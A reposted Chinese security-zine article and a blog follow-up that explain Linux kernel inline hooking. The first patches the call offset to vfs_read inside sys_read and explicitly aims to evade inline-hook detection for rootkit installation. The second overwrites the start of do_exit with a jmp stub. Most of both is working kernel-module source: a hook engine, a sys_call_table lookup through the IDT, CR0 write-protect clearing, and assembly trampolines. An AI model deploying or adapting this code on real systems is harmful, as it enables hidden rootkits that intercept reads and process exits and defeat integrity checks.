高级Linux kernel inline hook技术

                          ==Ph4nt0m Security Team==

Issue 0x02, Phile #0x05 of 0x0A


|=---------------------------------------------------------------------------=|
|=-------------------=[ 高级Linux kernel inline hook技术 ]=------------------=|
|=---------------------------------------------------------------------------=|
|=---------------------------------------------------------------------------=|
|=--------------------------=[      By wzt     ]=----------------------------=|
|=------------------------=[   <wzt_at_xsec.org>  ]=-------------------------=|
|=---------------------------------------------------------------------------=|

一. 简述

目前流行和成熟的kernel inline hook技术就是修改内核函数的opcode,通过写入jmp或
push ret等指令跳转到新的内核函数中,从而达到修改或过滤的功能。这些技术的共同点
就是都会覆盖原有的指令,这样很容易在函数中通过查找jmp,push ret等指令来查出来,
因此这种inline hook方式不够隐蔽。本文将使用一种高级inline hook技术来实现更隐蔽的
inline hoo技术。


二. 更改offset实现跳转

如何不给函数添加或覆盖新指令,就能跳转到我们新的内核函数中去呢?我们知道实现一个
系统调用的函数中不可能把所有功能都在这个函数中全部实现,它必定要调用它的下层函数。
如果这个下层函数也可以得到我们想要的过滤信息等内容的话,就可以把下层函数在上层
函数中的offset替换成我们新的函数的offset,这样上层函数调用下层函数时,就会跳到
我们新的函数中,在新的函数中做过滤和劫持内容的工作。原理是这样的,具体来分析
它该怎么实现, 我们去看看sys_read的具体实现:

linux-2.6.18/fs/read_write.c
asmlinkage ssize_t sys_read(unsigned int fd, char __user * buf, size_t count)
{
struct file *file;
ssize_t ret = -EBADF;
int fput_needed;

file = fget_light(fd, &fput_needed);
if (file) {
loff_t pos = file_pos_read(file);
ret = vfs_read(file, buf, count, &pos);
file_pos_write(file, pos);
fput_light(file, fput_needed);
}

return ret;
}
EXPORT_SYMBOL_GPL(sys_read);

我们看到sys_read最终是要调用下层函数vfs_read来完成读取数据的操作,所以我们不需要给
sys_read添加或覆盖指令, 而是要更改vfs_read在sys_read代码中的offset就可以跳转到我们
新的new_vfs_read中去。如何修改vfs_read的offset呢?先反汇编下sys_read看看:

[root@xsec linux-2.6.18]# gdb -q vmlinux
Using host libthread_db library "/lib/libthread_db.so.1".
(gdb) disass sys_read
Dump of assembler code for function sys_read:
0xc106dc5a <sys_read+0>:        push   %ebp
0xc106dc5b <sys_read+1>:        mov    %esp,%ebp
0xc106dc5d <sys_read+3>:        push   %esi
0xc106dc5e <sys_read+4>:        mov    $0xfffffff7,%esi
0xc106dc63 <sys_read+9>:        push   %ebx
0xc106dc64 <sys_read+10>:       sub    $0xc,%esp
0xc106dc67 <sys_read+13>:       mov    0x8(%ebp),%eax
0xc106dc6a <sys_read+16>:       lea    0xfffffff4(%ebp),%edx
0xc106dc6d <sys_read+19>:       call   0xc106e16c <fget_light>
0xc106dc72 <sys_read+24>:       test   %eax,%eax
0xc106dc74 <sys_read+26>:       mov    %eax,%ebx
0xc106dc76 <sys_read+28>:       je     0xc106dcb1 <sys_read+87>
0xc106dc78 <sys_read+30>:       mov    0x24(%ebx),%edx
0xc106dc7b <sys_read+33>:       mov    0x20(%eax),%eax
0xc106dc7e <sys_read+36>:       mov    0x10(%ebp),%ecx
0xc106dc81 <sys_read+39>:       mov    %edx,0xfffffff0(%ebp)
0xc106dc84 <sys_read+42>:       mov    0xc(%ebp),%edx
0xc106dc87 <sys_read+45>:       mov    %eax,0xffffffec(%ebp)
0xc106dc8a <sys_read+48>:       lea    0xffffffec(%ebp),%eax
0xc106dc8d <sys_read+51>:       push   %eax
0xc106dc8e <sys_read+52>:       mov    %ebx,%eax
0xc106dc90 <sys_read+54>:       call   0xc106d75c <vfs_read>
0xc106dc95 <sys_read+59>:       mov    0xfffffff0(%ebp),%edx
0xc106dc98 <sys_read+62>:       mov    %eax,%esi
0xc106dc9a <sys_read+64>:       mov    0xffffffec(%ebp),%eax
0xc106dc9d <sys_read+67>:       mov    %edx,0x24(%ebx)
0xc106dca0 <sys_read+70>:       mov    %eax,0x20(%ebx)
0xc106dca3 <sys_read+73>:       cmpl   $0x0,0xfffffff4(%ebp)
0xc106dca7 <sys_read+77>:       pop    %eax
0xc106dca8 <sys_read+78>:       je     0xc106dcb1 <sys_read+87>
0xc106dcaa <sys_read+80>:       mov    %ebx,%eax
0xc106dcac <sys_read+82>:       call   0xc106e107 <fput>
0xc106dcb1 <sys_read+87>:       lea    0xfffffff8(%ebp),%esp
0xc106dcb4 <sys_read+90>:       mov    %esi,%eax
0xc106dcb6 <sys_read+92>:       pop    %ebx
0xc106dcb7 <sys_read+93>:       pop    %esi
0xc106dcb8 <sys_read+94>:       pop    %ebp
0xc106dcb9 <sys_read+95>:       ret   
End of assembler dump.
(gdb)

0xc106dc90 <sys_read+54>:       call   0xc106d75c <vfs_read>
通过call指令来跳转到vfs_read中去。0xc106d75c是vfs_read的内存地址。所以只要把这个
地址替换成我们的新函数地址,当sys_read执行这块的时候,就会跳转到我们的函数来了。

下面给出我写的一个hook引擎,来完成查找和替换offset的功能。原理就是搜索sys_read
的opcode,如果发现是call指令,根据call后面的offset重新计算要跳转的地址是不是我们
要hook的函数地址,如果是就重新计算新函数的offset,用新的offset替换原来的offset。
从而完成跳转功能。

参数handler是上层函数的地址,这里就是sys_read的地址,old_func是要替换的函数地址,
这里就是vfs_read, new_func是新函数的地址,这里就是new_vfs_read的地址。

unsigned int patch_kernel_func(unsigned int handler, unsigned int old_func,
unsigned int new_func)
{
unsigned char *p = (unsigned char *)handler;
unsigned char buf[4] = "\x00\x00\x00\x00";
unsigned int offset = 0;
unsigned int orig = 0;
int i = 0;

DbgPrint("\n*** hook engine: start patch func at: 0x%08x\n", old_func);

while (1) {
if (i > 512)
return 0;

if (p[0] == 0xe8) {
DbgPrint("*** hook engine: found opcode 0x%02x\n", p[0]);

DbgPrint("*** hook engine: call addr: 0x%08x\n",
(unsigned int)p);
buf[0] = p[1];
buf[1] = p[2];
buf[2] = p[3];
buf[3] = p[4];

DbgPrint("*** hook engine: 0x%02x 0x%02x 0x%02x 0x%02x\n",
p[1], p[2], p[3], p[4]);

offset = *(unsigned int *)buf;
DbgPrint("*** hook engine: offset: 0x%08x\n", offset);

orig = offset + (unsigned int)p + 5;
DbgPrint("*** hook engine: original func: 0x%08x\n", orig);

if (orig == old_func) {
DbgPrint("*** hook engine: found old func at"
" 0x%08x\n",
old_func);

DbgPrint("%d\n", i);
break;
}
}
p++;
i++;
}

offset = new_func - (unsigned int)p - 5;
DbgPrint("*** hook engine: new func offset: 0x%08x\n", offset);

p[1] = (offset & 0x000000ff);
p[2] = (offset & 0x0000ff00) >> 8;
p[3] = (offset & 0x00ff0000) >> 16;
p[4] = (offset & 0xff000000) >> 24;

DbgPrint("*** hook engine: pachted new func offset.\n");

return orig;
}

使用这种方法,我们仅改了函数的一个offset,没有添加和修改任何指令,传统的inline hook
检查思路都已经失效。

三. 补充

这种通过修改offset的来实现跳转的方法,需要知道上层函数的地址,在上面的例子中
sys_read和vfs_read在内核中都是导出的,因此可以直接引用它们的地址。但是如果想hook
没有导出的函数时,不仅要知道上层函数的地址,还要知道下层函数的地址。因此给
rootkit的安装稍微带了点麻烦。不过,可以通过读取/proc/kallsyms或system map来查找函数地址。

四. 实例

下面是hook sys_read的部分代码实现,读者可以根据思路来补充完整。

/*
My hook engine v0.20

by wzt    <wzt@xsec.org>

tested on  amd64 as5, x86 as4,5
*/

#include <linux/init.h>
#include <linux/module.h>
#include <linux/version.h>
#include <linux/kernel.h>
#include <linux/spinlock.h>
#include <linux/smp_lock.h>
#include <linux/fs.h>
#include <linux/file.h>
#include <linux/dirent.h>
#include <linux/string.h>
#include <linux/unistd.h>
#include <linux/socket.h>
#include <linux/net.h>
#include <linux/tty.h>
#include <linux/tty_driver.h>
#include <net/sock.h>
#include <asm/uaccess.h>
#include <asm/unistd.h>
#include <asm/siginfo.h>

#include "hook.h"

ssize_t (*orig_vfs_read)(struct file *file, char __user *buf, size_t count,
loff_t *pos);

unsigned int system_call_addr = 0;
unsigned int sys_call_table_addr = 0;

unsigned int sys_read_addr = 0;
int hook_vfs_read_flag = 1;

unsigned int get_sct_addr(void)
{
int i = 0, ret = 0;

for (; i < 500; i++) {
if ((*(unsigned char*)(system_call_addr + i) == 0xff)
&& (*(unsigned char *)(system_call_addr + i + 1) == 0x14)
&& (*(unsigned char *)(system_call_addr + i + 2) == 0x85)) {
ret = *(unsigned int *)(system_call_addr + i + 3);
break;
}
}

return ret;
}

ssize_t new_vfs_read(struct file *file, char __user *buf, size_t count,
loff_t *pos)
{
ssize_t ret;

ret = (*orig_vfs_read)(file, buf, count, pos);
if (ret > 0) {
DbgPrint("hello, world.\n");
}

return ret;
}

unsigned int patch_kernel_func(unsigned int handler, unsigned int old_func,
unsigned int new_func)
{
unsigned char *p = (unsigned char *)handler;
unsigned char buf[4] = "\x00\x00\x00\x00";
unsigned int offset = 0;
unsigned int orig = 0;
int i = 0;

DbgPrint("\n*** hook engine: start patch func at: 0x%08x\n", old_func);

while (1) {
if (i > 512)
return 0;

if (p[0] == 0xe8) {
DbgPrint("*** hook engine: found opcode 0x%02x\n", p[0]);

DbgPrint("*** hook engine: call addr: 0x%08x\n",
(unsigned int)p);
buf[0] = p[1];
buf[1] = p[2];
buf[2] = p[3];
buf[3] = p[4];

DbgPrint("*** hook engine: 0x%02x 0x%02x 0x%02x 0x%02x\n",
p[1], p[2], p[3], p[4]);

offset = *(unsigned int *)buf;
DbgPrint("*** hook engine: offset: 0x%08x\n", offset);

orig = offset + (unsigned int)p + 5;
DbgPrint("*** hook engine: original func: 0x%08x\n", orig);

if (orig == old_func) {
DbgPrint("*** hook engine: found old func at"
" 0x%08x\n",
old_func);

DbgPrint("%d\n", i);
break;
}
}
p++;
i++;
}

offset = new_func - (unsigned int)p - 5;
DbgPrint("*** hook engine: new func offset: 0x%08x\n", offset);

p[1] = (offset & 0x000000ff);
p[2] = (offset & 0x0000ff00) >> 8;
p[3] = (offset & 0x00ff0000) >> 16;
p[4] = (offset & 0xff000000) >> 24;

DbgPrint("*** hook engine: pachted new func offset.\n");

return orig;
}

static int hook_init(void)
{
struct descriptor_idt *pIdt80;

__asm__ volatile ("sidt %0": "=m" (idt48));

pIdt80 = (struct descriptor_idt *)(idt48.base + 8*0x80);

system_call_addr = (pIdt80->offset_high << 16 | pIdt80->offset_low);
if (!system_call_addr) {
DbgPrint("oh, shit! can't find system_call address.\n");
return 0;
}
DbgPrint(KERN_ALERT "system_call addr : 0x%8x\n",system_call_addr);

sys_call_table_addr = get_sct_addr();
if (!sys_call_table_addr) {
DbgPrint("oh, shit! can't find sys_call_table address.\n");
return 0;
}
DbgPrint(KERN_ALERT "sys_call_table addr : 0x%8x\n",sys_call_table_addr);

sys_call_table = (void **)sys_call_table_addr;

sys_read_addr = (unsigned int)sys_call_table[__NR_read];

DbgPrint("sys_read addr: 0x%08x\n", sys_read_addr);

lock_kernel();
CLEAR_CR0

if (sys_read_addr) {
orig_vfs_read = (ssize_t (*)())patch_kernel_func(sys_read_addr,
(unsigned int)vfs_read, (unsigned int)new_vfs_read);
if ((unsigned int)orig_vfs_read == 0)
hook_vfs_read_flag = 0;
}

SET_CR0
unlock_kernel();

DbgPrint("orig_vfs_read: 0x%08x\n", (unsigned int)orig_vfs_read);
DbgPrint("install hook ok.\n");

return 0;
}

static void hook_exit(void)
{
lock_kernel();
CLEAR_CR0

if (hook_vfs_read_flag)
patch_kernel_func(sys_read_addr, (unsigned int)new_vfs_read,
(unsigned int)vfs_read);

SET_CR0
unlock_kernel();

DbgPrint("uninstall hook ok.\n");
}

module_init(hook_init);
module_exit(hook_exit);

MODULE_LICENSE("GPL");
MODULE_AUTHOR("wzt");

-EOF-




############################################################################

linux 中 inline hook 简单分析(do_exit)

author: jonathan

本文档的CopyRight归jonathan所有,可自由转载,转载时请保持文档的完整性。
/*----------------------------------------------------------------------------------------------------------------------------*/

Hook多年不搞了,总认为是上不了台面的技术。但是由于产品的需要没有办法,还是要弄一弄。

本文中重点描述一下Linux的函数Hook中注意的关键点。

1 概念

Hook两个字描述:劫持

对于目标是对象,就是对象HOOK;对于目标是函数,就叫Inline Hook;对于目标是IAT,就叫IAT Hook.

2 方法

对于函数HOOK,要能够跳转到劫持函数中,再跳转原函数。如何跳转,使用什么指令?其实方法很多,最多就是使用jmp,因为简单。如果使用call也可以,还需要自己维护call产生的栈问题。

当然,插入HOOK点理论上可以在函数任何位置,但是要保障插入HOOK点前后指令的完整性。现在disassembler库也很多,都不是难题。

2.1 jmp方法

    jmp dst_address_offset

    此命令占5个地址; dst_address_offset = 目的地址 - HOOK点开始位置 - jmp指令占用地址(5)

2.2 call方法
   
    call dst_address_offset

    此处注意call的分解:push 返回地址;jmp 目标地址。因此在HOOK函数返回时,注意平衡堆栈,特别时使用jmp方式返回

    投机的方式:找到一个以有的call处,修改call处的跳转地址即可。

3 注意事项

3.1 内存要可写,可检查CR0寄存器中的WP位

3.2 处理好堆栈平衡

3.3 原子操作,特别是多cpu情况

4 Windows平台 HOOK

文章数不胜数,略。

5 Linux下函数Inline Hook

这里以do_exit为例。do_exit函数是导出函数,所以可以直接获取函数地址;对于非导出函数,则需要相关函数查找地址。现在假设do_exit未导出。

为了找到非导出函数地址,需要在内存中找特征码。但是对于要搜寻的函数空间也有两点要求:

    函数地址可知,否则陷入鸡生蛋问题;

    该函数要调用寻找的未导出函数地址。

对于do_exit,我们首先应该想到是sys_exit函数。

5.1 查找do_exit函数地址

(gdb) disass sys_exit
Dump of assembler code for function sys_exit:
0xc042ef4c <sys_exit+0>:        push   %ebp
0xc042ef4d <sys_exit+1>:        mov    %esp,%ebp
0xc042ef4f <sys_exit+3>:        mov    0x8(%ebp),%eax
0xc042ef52 <sys_exit+6>:        shl    $0x8,%eax
0xc042ef55 <sys_exit+9>:        and    $0xffff,%eax
0xc042ef5a <sys_exit+14>:       call   0xc042e79a <do_exit>
End of assembler dump.
(gdb) x/2 0xc042ef5a
0xc042ef5a <sys_exit+14>:       0xfff83be8      0xc08555ff
(gdb) disass do_exit
Dump of assembler code for function do_exit:
0xc042e79a <do_exit+0>: push   %ebp
0xc042e79b <do_exit+1>: mov    %esp,%ebp
0xc042e79d <do_exit+3>: push   %edi
0xc042e79e <do_exit+4>: push   %esi
0xc042e79f <do_exit+5>: push   %ebx /*到此为止*, 可以看出do_exit不错,指令基本可以满足要求/
0xc042e7a0 <do_exit+6>: mov    %eax,%ebx
0xc042e7a2 <do_exit+8>: sub    $0x38,%esp
0xc042e7a5 <get_current+0>:     mov    %fs:0xc0858000,%edi
...

具体就不用多说了,看看2中原理,对照一下上面红色字体部分就明白了。

5.2 替换do_exit

static unsigned char g_original_do_exit[5] = { 0 };
static unsigned char g_stub_do_exit[5] = { 0xe9, 0, 0, 0, 0};
static unsigned long g_do_exit_address = 0;

static int hook_do_exit(unsigned char* do_exit_address)
{
        int ret = -1;
        unsigned long offset = 0;

//      g_do_exit_address = (unsigned long)(do_exit_address + 3);
        g_do_exit_address = (unsigned long)(do_exit_address );


        memcpy(g_original_do_exit, (unsigned char *)g_do_exit_address, 5);

        offset = (unsigned long)my_do_exit - g_do_exit_address - 5;
        *((unsigned long *)(g_stub_do_exit + 1)) = offset;

        lock_kernel();
        CLEAR_CR0;

        memcpy((unsigned char*)g_do_exit_address, g_stub_do_exit, 5);

        SET_CR0;
        unlock_kernel();

        return ret;
}

static void unhook_do_exit(void)
{
        lock_kernel();
        CLEAR_CR0;

        memcpy((unsigned char*)g_do_exit_address, g_original_do_exit, 5);

        SET_CR0;
        unlock_kernel();
}

5.3 my_do_exit处理

static long my_do_exit(int error_code)
{
#if 1 /* 从do_exit头开始hook */
         asm("pushl %%ebp\n\t"
                "movl %%esp,%%ebp\n\t"
                "pushl %%edi\n\t"
                "pushl %%esi\n\t"
                "pushl %%ebx\n\t"            /* 为何先pushl?其后面语句也是push ebx?你自己来思考了,这里有小弯 */
                "movl %0, %%ebx\n\t"      /* 为何选择 ebx而不是eax ,需要你自己来思考 */
                "addl $5, %%ebx\n\t"
                "jmp *%%ebx\n\t"
                ::"m"(g_do_exit_address)
                );
#else /* 从do_exit + 3的位置hook */
        asm("pushl %%edi\n\t"
                "pushl %%esi\n\t"
                "pushl %%ebx\n\t"
                "movl %%eax, %%ebx\n\t"
                "movl %0, %%eax\n\t"   /* 为什么选择是eax , 您要思考一下 */
                "addl $5, %%eax\n\t"
                "jmp *%%eax\n\t"::"m"(g_do_exit_address)
                );

#endif

        return 0;
}

5.4 注意事项

      应用层程序退出一般从sys_exit不到信息的,但是一定能够从do_exit获取到信息。

      卸载do_exit的hook就崩溃了,原因我没有继续查找,留给您了。


评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值